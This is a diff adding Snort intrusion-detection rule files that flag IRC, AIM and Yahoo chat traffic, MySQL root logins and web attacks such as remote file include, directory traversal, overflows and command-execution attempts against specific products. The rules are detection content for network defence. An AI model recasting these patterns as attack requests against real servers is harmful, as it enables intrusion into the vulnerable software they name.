+alert tcp $HOME_NET any -> $EXTERNAL_NET 6666:7000 (msg:"CHAT IRC DCC file transfer request"; flow:to_server,established; content:"PRIVMSG "; offset:0; nocase; content:" |3A|.DCC SEND"; nocase; classtype:policy-violation; sid:1639; rev:6;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 6666:7000 (msg:"CHAT IRC DCC chat request"; flow:to_server,established; content:"PRIVMSG "; offset:0; nocase; content:" |3A|.DCC CHAT chat"; nocase; classtype:policy-violation; sid:1640; rev:6;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 6666:7000 (msg:"CHAT IRC channel join"; flow:to_server,established; content:"JOIN |3A| |23|"; offset:0; nocase; classtype:policy-violation; sid:1729; rev:5;)
+alert tcp $HOME_NET any <> $EXTERNAL_NET 6666:7000 (msg:"CHAT IRC message"; flow:established; content:"PRIVMSG "; nocase; classtype:policy-violation; sid:1463; rev:6;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 6666:7000 (msg:"CHAT IRC dns request"; flow:to_server,established; content:"USERHOST "; offset:0; nocase; classtype:policy-violation; sid:1789; rev:3;)
+alert tcp $EXTERNAL_NET 6666:7000 -> $HOME_NET any (msg:"CHAT IRC dns response"; flow:to_client,established; content:"|3A|"; offset:0; content:" 302 "; content:"=+"; classtype:policy-violation; sid:1790; rev:4;)
+
+alert tcp $HOME_NET any -> $AIM_SERVERS any (msg:"CHAT AIM login"; flow:to_server,established; content:"*|02|"; depth:2; content:"|00 17 00 06|"; within:8; distance:4; classtype:policy-violation; sid:1631; rev:8;)
+alert tcp $HOME_NET any -> $AIM_SERVERS any (msg:"CHAT AIM send message"; flow:to_server,established; content:"*|02|"; depth:2; content:"|00 04 00 06|"; depth:4; offset:6; classtype:policy-violation; sid:1632; rev:6;)
+alert tcp $AIM_SERVERS any -> $HOME_NET any (msg:"CHAT AIM receive message"; flow:to_client; content:"*|02|"; depth:2; content:"|00 04 00 07|"; depth:4; offset:6; classtype:policy-violation; sid:1633; rev:6;)
+
+
+
+alert tcp $EXTERNAL_NET 5050 -> $HOME_NET any (msg:"CHAT Yahoo IM successful logon"; flow:from_server,established; content:"YMSG"; depth:4; nocase; content:"|00 01|"; depth:2; offset:10; classtype:policy-violation; sid:2450; rev:3;)
+alert tcp $EXTERNAL_NET 5050 -> $HOME_NET any (msg:"CHAT Yahoo IM voicechat"; flow:from_server,established; content:"YMSG"; depth:4; nocase; content:"|00|J"; depth:2; offset:10; classtype:policy-violation; sid:2451; rev:3;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5050 (msg:"CHAT Yahoo IM ping"; flow:to_server,established; content:"YMSG"; depth:4; nocase; content:"|00 12|"; depth:2; offset:10; classtype:policy-violation; sid:2452; rev:4;)
+
+alert tcp $EXTERNAL_NET 5050 -> $HOME_NET any (msg:"CHAT Yahoo IM conference invitation"; flow:from_server,established; content:"YMSG"; depth:4; nocase; content:"|00 18|"; depth:2; offset:10; classtype:policy-violation; sid:2453; rev:3;)
+alert tcp $EXTERNAL_NET 5050 -> $HOME_NET any (msg:"CHAT Yahoo IM conference logon success"; flow:from_server,established; content:"YMSG"; depth:4; nocase; content:"|00 19|"; depth:2; offset:10; classtype:policy-violation; sid:2454; rev:3;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5050 (msg:"CHAT Yahoo IM conference message"; flow:to_server,established; content:"YMSG"; depth:4; nocase; content:"|00 1D|"; depth:2; offset:10; classtype:policy-violation; sid:2455; rev:3;)
+
+alert tcp $EXTERNAL_NET 5050 -> $HOME_NET any (msg:"CHAT Yahoo Messenger File Transfer Receive Request"; flow:established; content:"YMSG"; depth:4; content:"|00|M"; depth:2; offset:10; classtype:policy-violation; sid:2456; rev:4;)
+alert tcp any any <> any 5101 (msg:"CHAT Yahoo IM message"; flow:established; content:"YMSG"; depth:4; nocase; classtype:policy-violation; sid:2457; rev:2;)
+
+alert tcp $EXTERNAL_NET 5050 -> $HOME_NET any (msg:"CHAT Yahoo IM successful chat join"; flow:from_server,established; content:"YMSG"; depth:4; nocase; content:"|00 98|"; depth:2; offset:10; classtype:policy-violation; sid:2458; rev:3;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5050 (msg:"CHAT Yahoo IM conference offer invitation"; flow:to_server,established; content:"YMSG"; depth:4; nocase; content:"|00|P"; depth:2; offset:10; classtype:policy-violation; sid:2459; rev:4;)
+alert tcp $HOME_NET any -> $EXTERNAL_NET 5100 (msg:"CHAT Yahoo IM conference request"; flow:to_server,established; content:"<R"; depth:2; pcre:"/^\x3c(REQIMG|RVWCFG)\x3e/ism"; classtype:policy-violation; sid:2460; rev:4;)
+alert tcp $EXTERNAL_NET 5100 -> $HOME_NET any (msg:"CHAT Yahoo IM conference watch"; flow:from_server,established; content:"|0D 00 05 00|"; depth:4; classtype:policy-violation; sid:2461; rev:4;)
--- snort-2.8.5.2.orig/rules/mysql.rules
+++ snort-2.8.5.2/rules/mysql.rules
@@ -0,0 +1,31 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: mysql.rules,v 1.10.2.2.2.3 2005/05/31 17:13:02 mwatchinski Exp $
+#----------
+# MYSQL RULES
+#----------
+#
+# These signatures detect unusual and potentially malicious mysql traffic.
+#
+# These signatures are not enabled by default as they may generate false
+# positive alarms on networks that do mysql development.
+#
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 3306 (msg:"MYSQL root login attempt"; flow:to_server,established; content:"|0A 00 00 01 85 04 00 00 80|root|00|"; classtype:protocol-command-decode; sid:1775; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 3306 (msg:"MYSQL show databases attempt"; flow:to_server,established; content:"|0F 00 00 00 03|show databases"; classtype:protocol-command-decode; sid:1776; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS 3306 (msg:"MYSQL 4.0 root login attempt"; flow:to_server,established; content:"|01|"; within:1; distance:3; content:"root|00|"; within:5; distance:5; nocase; classtype:protocol-command-decode; sid:3456; rev:2;)
--- snort-2.8.5.2.orig/rules/community-web-misc.rules
+++ snort-2.8.5.2/rules/community-web-misc.rules
@@ -0,0 +1,215 @@
+# Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# These rules are licensed under the GNU General Public License.
+# Please see the file LICENSE in this directory for more details. 
+# $Id: community-web-misc.rules,v 1.45 2007/04/20 13:28:50 akirk Exp $
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Test Script Access"; flow:to_server,established; uricontent:"/test"; nocase; pcre:"/test\.(pl|php|cgi|asp|jsp)/Ui"; classtype:web-application-activity; sid:100000121; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg: "COMMUNITY WEB-MISC mod_jrun overflow attempt"; flow:to_server,established; content:"|3A|"; pcre:"/^.*\x3a[^\n]{1000}/sm"; reference:bugtraq,11245; reference:cve,2004-0646; classtype:web-application-attack; sid:100000122; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Cisco IOS HTTP Router Management Service Infinite Loop DoS"; flow:to_server,established; uricontent:"?/ "; reference:bugtraq,10014; reference:url,www.cisco.com/warp/public/707/ioshttpserverquery-pub.shtml; classtype:successful-dos; sid:100000129; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"COMMUNITY WEB-MISC PY Software Active Webcam Webserver DoS"; flow:to_server,established; uricontent:"/Filelist.html"; nocase; reference:bugtraq,12778; classtype:attempted-dos; sid:100000130; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"COMMUNITY WEB-MISC PY Software Active Webcam Webserver DoS - Floppy Access"; flow:to_server,established; uricontent:"/A|3A|"; nocase; pcre:"/A\x3A[^\r\n]?\.[^\r\n]?[\r\n]/Ui"; reference:bugtraq,12778; classtype:attempted-dos; sid:100000131; rev:1;)
+# Following rule submitted by Alexandru Ionica <gremlin@networked.ro>, and revised by Jason Haar <Jason.Haar@trimble.co.nz>
+alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"COMMUNITY WEB-MISC Proxy Server Access"; flow:established,from_server; content:"Proxy-Connection"; nocase; content:"Via"; nocase; content:"HTTP"; nocase; content: !"ERR_ACCESS_DENIED"; nocase; classtype:misc-activity; sid:100000132; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-DoS Xeneo Server Question Mark GET Request"; flow:to_server,established; pcre:"/GET \/\?{250,}/i"; reference:bugtraq,7398; reference:url,www.northernsolutions.com/support/index.php?view=support&cmd=releasenotes&productid=1; classtype:attempted-dos; sid:100000133; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 9999 (msg:"COMMUNITY WEB-MISC MaxDB Web Tool Remote Stack Overflow"; flow:to_server,established; content:"GET"; nocase; depth:3; content:"/%"; distance:0; pcre:"/^GET\s+\/\%[^\r\n]{215,}/smi"; reference:cve,2005-0684; reference:url,www.idefense.com/application/poi/display?id=234&type=vulnerabilities; classtype:attempted-admin; sid:100000140; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8484 (msg:"COMMUNITY WEB-MISC Ipswitch Imail web calendaring .jsp directory traversal attempt"; flow:to_server,established; content:".jsp"; pcre:"/.jsp\S*\x2e\x2e[\x2f\x5c]/smi"; reference:bugtraq,13727; reference:cve,CAN-2005-1252; classtype:attempted-recon; sid:100000141; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8484 (msg:"COMMUNITY WEB-MISC Ipswitch Imail web calendaring .jpg directory traversal attempt"; flow:to_server,established; content:".jpg"; pcre:"/.jpg\S*\x2e\x2e[\x2f\x5c]/smi"; reference:bugtraq,13727; reference:cve,CAN-2005-1252; classtype:attempted-recon; sid:100000142; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8484 (msg:"COMMUNITY WEB-MISC Ipswitch Imail web calendaring .gif directory traversal attempt"; flow:to_server,established; content:".gif"; pcre:"/.gif\S*\x2e\x2e[\x2f\x5c]/smi"; reference:bugtraq,13727; reference:cve,CAN-2005-1252; classtype:attempted-recon; sid:100000143; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8484 (msg:"COMMUNITY WEB-MISC Ipswitch Imail web calendaring .wav directory traversal attempt"; flow:to_server,established; content:".wav"; pcre:"/.wav\S*\x2e\x2e[\x2f\x5c]/smi"; reference:bugtraq,13727; reference:cve,CAN-2005-1252;classtype:attempted-recon; sid:100000144; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8484 (msg:"COMMUNITY WEB-MISC Ipswitch Imail web calendaring .css directory traversal attempt"; flow:to_server,established; content:".css"; pcre:"/.css\S*\x2e\x2e[\x2f\x5c]/smi"; reference:bugtraq,13727; reference:cve,CAN-2005-1252; classtype:attempted-recon; sid:100000145; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8484 (msg:"COMMUNITY WEB-MISC Ipswitch Imail web calendaring .htm directory traversal attempt"; flow:to_server,established; content:".htm"; pcre:"/.htm\S*\x2e\x2e[\x2f\x5c]/smi"; reference:bugtraq,13727; reference:cve,CAN-2005-1252; classtype:attempted-recon; sid:100000146; rev:1;)
+#Rules submitted by rmkml
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 8000 (msg:"COMMUNITY WEB-MISC Barracuda img.pl attempt"; flow:to_server,established; uricontent:"/cgi-bin/img.pl?f=.."; reference:bugtraq,14712; reference:bugtraq,14710; reference:cve,2005-2848; classtype:web-application-attack; sid:100000148; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 8083 (msg:"COMMUNITY WEB-MISC Jboss % attempt"; flow:to_server,established; content:"GET %"; reference:bugtraq,13985; reference:cve,2005-2006; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=17403; classtype:attempted-recon; sid:100000149; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC HTTP Transfer-Content Request Smuggling attempt"; flow:to_server,established; content:"Transfer-Encoding|3A|"; content:"chunked"; content:"Content-Length|3A|"; nocase; reference:bugtraq,13873; reference:bugtraq,14106; reference:cve,2005-2088; reference:cve,2005-2089; reference:cve,2005-2090; reference:cve,2005-2091; reference:cve,2005-2092; reference:cve,2005-2093; reference:cve,2005-2094; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=17738; reference:nessus,18337; classtype:attempted-admin; sid:100000150; rev:1;)
+alert tcp any any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Linksys apply.cgi overflow attempt"; flow:to_server,established; uricontent:"/apply.cgi"; content:"Content-Length|3A|"; pcre:"/Content-Length\x3A\s*[^\r\n]{1000,}/smi"; reference:bugtraq,14822; reference:cve,2005-2799; reference:nessus,20096; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=19389; classtype:web-application-attack; sid:100000177; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Hasbani-WindWeb GET DoS attempt"; flow:to_server,established; uricontent:"..\:..\:..\:.."; reference:bugtraq,15225; reference:nessus,20097; classtype:attempted-dos; sid:100000178; rev:2;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 898 (msg:"COMMUNITY WEB-MISC SMC TRACE access"; flow:to_server,established; content:"TRACE"; depth:5; reference:url,www.kb.cert.org/vuls/id/867593; classtype:attempted-recon; sid:100000179; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 8080 (msg:"COMMUNITY WEB-MISC JBoss JMXInvokerServlet access"; flow:to_server,established; uricontent:"/invoker/JMXInvokerServlet"; reference:url,online.securityfocus.com/archive/1/415707; classtype:misc-activity; sid:100000184; rev:1;) 
+alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"COMMUNITY WEB-MISC apache directory list attempt"; flow:to_client,established; content:"HTTP/1.1 200 OK"; depth:15; content:"Index of /"; nocase; within:200; reference:bugtraq,3009; reference:cve,2001-0731; classtype:web-application-activity; sid:100000185; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS 41080 (msg:"COMMUNITY WEB-MISC Symantec Brightmail Antispam default login attempt"; flow:to_server,established; uricontent:"/brightmail/viewLogin.do"; nocase; uricontent:"user|3D|admin"; nocase; uricontent:"pass|3D|symantec"; nocase; reference:nessus,19598; reference:url,securityresponse.symantec.com/avcenter/security/Content/2005.05.31a.html; classtype:web-application-attack; sid:100000200; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC FtpLocate flsearch.pl possible command execution attempt"; flow:to_server,established; uricontent:"/flsearch.pl"; nocase; uricontent:"cmd|3D|exec_flsearch"; nocase; reference:bugtraq,14367; reference:cve,2005-2420; reference:nessus,19300; reference:url,www.osvdb.org/displayvuln.php?osvdb_id=18305; classtype:web-application-attack; sid:100000209; rev:2;)
+#alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC generic cmd pipe after = attempt"; flow:to_server,established; uricontent:"|3D 7C|"; nocase; classtype:web-application-attack; sid:100000210; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Trend Micro ServerProtect isaNVWRequest.dll access"; flow:to_server,established; content:"POST"; nocase; depth:4; uricontent:"/ControlManager/cgi-bin/VA/isaNVWRequest.dll"; nocase; reference:cve,2005-1929; reference:url,www.idefense.com/application/poi/display?id=353&type=vulnerabilities; classtype:web-application-attack; sid:100000216; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC man2web cmd exec attempt"; flow:to_server,established; uricontent:"/man2web"; nocase; uricontent:"|2D|P"; reference:cve,2005-2812; reference:bugtraq,14747; reference:nessus,19591; classtype:web-application-attack; sid:100000217; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ASPSurvey Login_Validate.asp Password param access"; flow:to_server,established; uricontent:"/Login_Validate.asp"; nocase; uricontent:"Password|3D|"; nocase; reference:cve,2006-0192; classtype:web-application-activity; sid:100000225; rev:1;) 
+
+#Rule to detect use of Google's translation feature to bypass content monitor submitted by David Bianco
+alert tcp any any -> any $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Proxy Bypass Via Google Translation Same To And From Language"; flow:established, to_server; uricontent:"/translate?"; pcre:"/translate\?.*langpair=([a-zA-Z]+)(%7C|\|)\1\&/Ui"; classtype: policy-violation; reference:url,www.boingboing.net/2006/02/22/argonne_national_lab.html; sid:100000237; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DeviceSelection.asp sRedirectUrl parameter access"; flow:to_server,established; uricontent:"DeviceSelection.asp"; nocase; uricontent:"sRedirectUrl="; nocase; pcre:"/sRedirectUrl=(https?|ftp)/Ui"; reference:bugtraq,17964; classtype:web-application-attack; sid:100000302; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DeviceSelection.asp sCancelURL parameter access"; flow:to_server,established; uricontent:"DeviceSelection.asp"; nocase; uricontent:"sCancelURL="; nocase; pcre:"/sCancelURL=(https?|ftp)/Ui"; reference:bugtraq,17964; classtype:web-application-attack; sid:100000303; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET 21700 (msg:"COMMUNITY WEB-MISC 3Com Network Supervisor directory traversal"; flow:to_server,established; content:"GET"; nocase; pcre:"/GET[^\r\n]*?\x2e\x2e(\x2f|\x5c)[^\r\n]*?HTTP[^\r\n]*?\r\n/msi"; reference:bugtraq,14715; reference:cve,2005-2020; classtype:web-application-attack; sid:100000313; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-MISC MediaWiki parser script insertion attempt"; flow:to_server,established; content:"POST"; nocase; content:"|7B 7B 7B|"; pcre:"/\x7B\x7B\x7B[^\r\n]*\x3C[^\r\n]*\x7C[^\r\n]*\x3E[^\r\n]*\x7D\x7D\x7D/"; reference:cve,2006-2611; classtype:attempted-user; sid:100000314; rev:1;)
+
+#Rules for detecting HTTP PUT requests, successful or not, submitted by David Bianco; enable only after reading the rule documentation for these two SIDs
+#alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC HTTP PUT Request"; flow:to_server,established; content:"PUT "; depth:4; flowbits:set,http.put; flowbits:noalert; classtype:misc-activity; reference:url,infosecpotpourri.blogspot.com/2006/06/http-put-defacement-attempts.html; sid:100000315; rev:1;)
+#alert tcp $HTTP_SERVERS $HTTP_PORTS -> $EXTERNAL_NET any (msg:"COMMUNITY WEB-MISC HTTP PUT Request Successful"; flow:from_server,established; flowbits:isset,http.put; content:"HTTP/"; nocase; depth:5; content:"200"; within:7; classtype:web-application-attack; reference:url,infosecpotpourri.blogspot.com/2006/06/http-put-defacement-attempts.html; sid:100000316; rev:1;) 
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpBazar classified_right.php remote file include"; flow:to_server,established; uricontent:"/classified_right.php"; nocase; uricontent:"language_dir="; nocase; pcre:"/language_dir=(https?|ftp)/Ui"; reference:bugtraq,18052; classtype:web-application-attack; sid:100000317; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpBazar admin.php unauthorized administrative access"; flow:to_server,established; uricontent:"/admin/admin.php"; nocase; uricontent:"action=edit_member&value=1"; nocase; reference:bugtraq,18053; reference:cve,2006-2527; classtype:web-application-attack; sid:100000318; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ActualScripts direct.php remote file include"; flow:to_server,established; uricontent:"/direct.php"; nocase; uricontent:"rf="; nocase; pcre:"/rf=(https?|ftp)/Ui"; reference:bugtraq,17597; classtype:web-application-attack; sid:100000319; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ScozNet ScozNews functions.php remote file include"; flow:to_server,established; uricontent:"/functions.php"; nocase; uricontent:"main_path="; nocase; pcre:"/main_path=(https?|ftp)/Ui"; reference:bugtraq,18027; classtype:web-application-attack; sid:100000320; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ScozNet ScozNews help.php remote file include"; flow:to_server,established; uricontent:"/help.php"; nocase; uricontent:"main_path="; nocase; pcre:"/main_path=(https?|ftp)/Ui"; reference:bugtraq,18027; classtype:web-application-attack; sid:100000321; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ScozNet ScozNews mail.php remote file include"; flow:to_server,established; uricontent:"/mail.php"; nocase; uricontent:"main_path="; nocase; pcre:"/main_path=(https?|ftp)/Ui"; reference:bugtraq,18027; classtype:web-application-attack; sid:100000322; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ScozNet ScozNews news.php remote file include"; flow:to_server,established; uricontent:"/news.php"; nocase; uricontent:"main_path="; nocase; pcre:"/main_path=(https?|ftp)/Ui"; reference:bugtraq,18027; classtype:web-application-attack; sid:100000323; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ScozNet ScozNews template.php remote file include"; flow:to_server,established; uricontent:"/template.php"; nocase; uricontent:"main_path="; nocase; pcre:"/main_path=(https?|ftp)/Ui"; reference:bugtraq,18027; classtype:web-application-attack; sid:100000324; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ScozNet ScozNews admin_cats.php remote file include"; flow:to_server,established; uricontent:"/Admin/admin_cats.php"; nocase; uricontent:"main_path="; nocase; pcre:"/main_path=(https?|ftp)/Ui"; reference:bugtraq,18027; classtype:web-application-attack; sid:100000325; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ScozNet ScozNews admin_edit.php remote file include"; flow:to_server,established; uricontent:"/Admin/admin_edit.php"; nocase; uricontent:"main_path="; nocase; pcre:"/main_path=(https?|ftp)/Ui"; reference:bugtraq,18027; classtype:web-application-attack; sid:100000326; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ScozNet ScozNews admin_import.php remote file include"; flow:to_server,established; uricontent:"/Admin/admin_import.php"; nocase; uricontent:"main_path="; nocase; pcre:"/main_path=(https?|ftp)/Ui"; reference:bugtraq,18027; classtype:web-application-attack; sid:100000327; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ScozNet ScozNews admin_templates.php remote file include"; flow:to_server,established; uricontent:"/Admin/admin_templates.php"; nocase; uricontent:"main_path="; nocase; pcre:"/main_path=(https?|ftp)/Ui"; reference:bugtraq,18027; classtype:web-application-attack; sid:100000328; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Invision Power Board class_post.php remote file include"; flow:to_server,established; uricontent:"/classes/post/class_post.php"; nocase; uricontent:"post_icon="; nocase; pcre:"/post_icon=(https?|ftp)/Ui"; reference:bugtraq,18040; classtype:web-application-attack; sid:100000329; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Invision Power Board moderate.php remote file include"; flow:to_server,established; uricontent:"/action_public/moderate.php"; nocase; uricontent:"df="; nocase; pcre:"/df=(https?|ftp)/Ui"; reference:bugtraq,18040; classtype:web-application-attack; sid:100000330; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC ZixForum settings.asp access"; flow:to_server,established; uricontent:"/settings.asp"; nocase; uricontent:"layid="; nocase; reference:bugtraq,18043; classtype:web-application-attack; sid:100000331; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Artmedic Newsletter log.php access"; flow:to_server,established; uricontent:"/log.php"; nocase; uricontent:"email="; nocase; reference:bugtraq,18047; classtype:web-application-attack; sid:100000332; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC Artmedic Newsletter log.php access"; flow:to_server,established; uricontent:"/log.php"; nocase; uricontent:"logfile="; nocase; reference:bugtraq,18047; classtype:web-application-attack; sid:100000333; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC CaLogic Calendars reconfig.php remote file include"; flow:to_server,established; uricontent:"/reconfig.php"; nocase; uricontent:"CLPath="; nocase; pcre:"/CLPath=(https?|ftp)/Ui"; reference:bugtraq,18076; classtype:web-application-attack; sid:100000334; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC CaLogic Calendars srxclr.php remote file include"; flow:to_server,established; uricontent:"/srxclr.php"; nocase; uricontent:"CLPath="; nocase; pcre:"/CLPath=(https?|ftp)/Ui"; reference:bugtraq,18076; classtype:web-application-attack; sid:100000335; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpMyDirectory footer.php remote file include"; flow:to_server,established; uricontent:"/footer.php"; nocase; uricontent:"ROOT_PATH="; nocase; pcre:"/ROOT_PATH=(https?|ftp)/Ui"; reference:cve,2006-2521; classtype:web-application-attack; sid:100000336; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpMyDirectory defaults_setup.php remote file include"; flow:to_server,established; uricontent:"/defaults_setup.php"; nocase; uricontent:"ROOT_PATH="; nocase; pcre:"/ROOT_PATH=(https?|ftp)/Ui"; reference:cve,2006-2521; classtype:web-application-attack; sid:100000337; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC phpMyDirectory header.php remote file include"; flow:to_server,established; uricontent:"/header.php"; nocase; uricontent:"ROOT_PATH="; nocase; pcre:"/ROOT_PATH=(https?|ftp)/Ui"; reference:cve,2006-2521; classtype:web-application-attack; sid:100000338; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC V-Webmail core.php remote file include"; flow:to_server,established; uricontent:"/includes/mailaccess/pop3/core.php"; nocase; uricontent:"CONFIG[pear_dir]="; nocase; pcre:"/CONFIG[pear_dir]=(https?|ftp)/Ui"; reference:url,secunia.com/advisories/20297/; classtype:web-application-attack; sid:100000339; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC V-Webmail pop3.php remote file include"; flow:to_server,established; uricontent:"/includes/mailaccess/pop3.php"; nocase; uricontent:"CONFIG[pear_dir]="; nocase; pcre:"/CONFIG[pear_dir]=(https?|ftp)/Ui"; reference:url,secunia.com/advisories/20297/; classtype:web-application-attack; sid:100000340; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DoceboLMS help.php remote file include"; flow:to_server,established; uricontent:"/modules/credits/help.php"; nocase; uricontent:"lang="; nocase; pcre:"/lang=(https?|ftp)/Ui"; reference:bugtraq,18110; classtype:web-application-attack; sid:100000341; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-MISC DoceboLMS business.php remote file include"; flow:to_server,established; uricontent:"/modules/credits/business.php"; nocase; uricontent:"lang="; nocase; pcre:"/lang=(https?|ftp)/Ui"; reference:bugtraq,18110; classtype:web-application-attack; sid:100000342; rev:2;)
